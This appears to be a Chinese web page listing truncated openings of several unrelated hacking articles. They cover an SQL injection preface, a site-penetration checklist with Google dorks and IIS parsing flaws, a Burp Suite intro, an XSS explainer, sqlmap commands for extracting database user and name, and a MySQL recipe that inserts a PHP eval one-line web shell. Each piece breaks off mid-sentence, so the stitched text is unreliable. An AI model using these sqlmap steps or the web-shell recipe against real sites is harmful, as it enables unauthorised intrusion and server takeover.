前言：SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据。然而随着SQL注入攻击的高潮过后，越来越多的安全人员想出了
首先把，主站入手注册一个账号，看下上传点，等等之类的。用google找***入点，格式是Site:XXX.com inurl:asp|php|aspx|jsp最好不要带 www，因为不带的话可以检测二级域名。扫目录，看编辑器和Fckeditor，看下敏感目录，有没有目录遍及，查下是iis6,iis5.iis7，这些都有不同的利用方法Iis6解析漏洞Iis5远程溢出，Iis7畸形解析Phpmyadm
0×00 题外话最近迷上了burp suite 这个安全工具，百度了关于这个工具的教程还卖900rmb。。。ohno。本来准备买滴，但是大牛太高傲了，所以没买了。所以就有了今天这个文章。感谢帮助我的几个朋友：Mickey、安天的Sunge。0×01 介绍安装要求：Java 的V1.5 + 安装（ 推荐使用最新的JRE ）， 可从这里免费 http://java.sun.com/j2se/
OWASP top 10的安全威胁中的CrossSite Scripting（跨站脚本攻击），允许攻击者通过浏览器往网站注入恶意脚本。这种漏洞经常出现在web应用中需要用户输入的地方，如果网站有XSS漏 洞，攻击者就可以通过这种漏洞向浏览网站的用户发送恶意脚本，同时也可以利用该漏洞偷取sessionid，用来劫持用户帐户的会话。所以网站开发者必须针对这种攻击进行适当的测试，必须过滤网站的每个输入
基本步骤：sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称sqlmap -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称sqlmap -u "http://www.xxoo.
MySQL:Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段Insert INTO temp (cmd) VALUES(<? php eval($_POST[cmd]);?>); //把一句话木马插入到temp表Select cmd fro
Copyright © 2005-2024 51CTO.COM 版权所有 京ICP证060544号
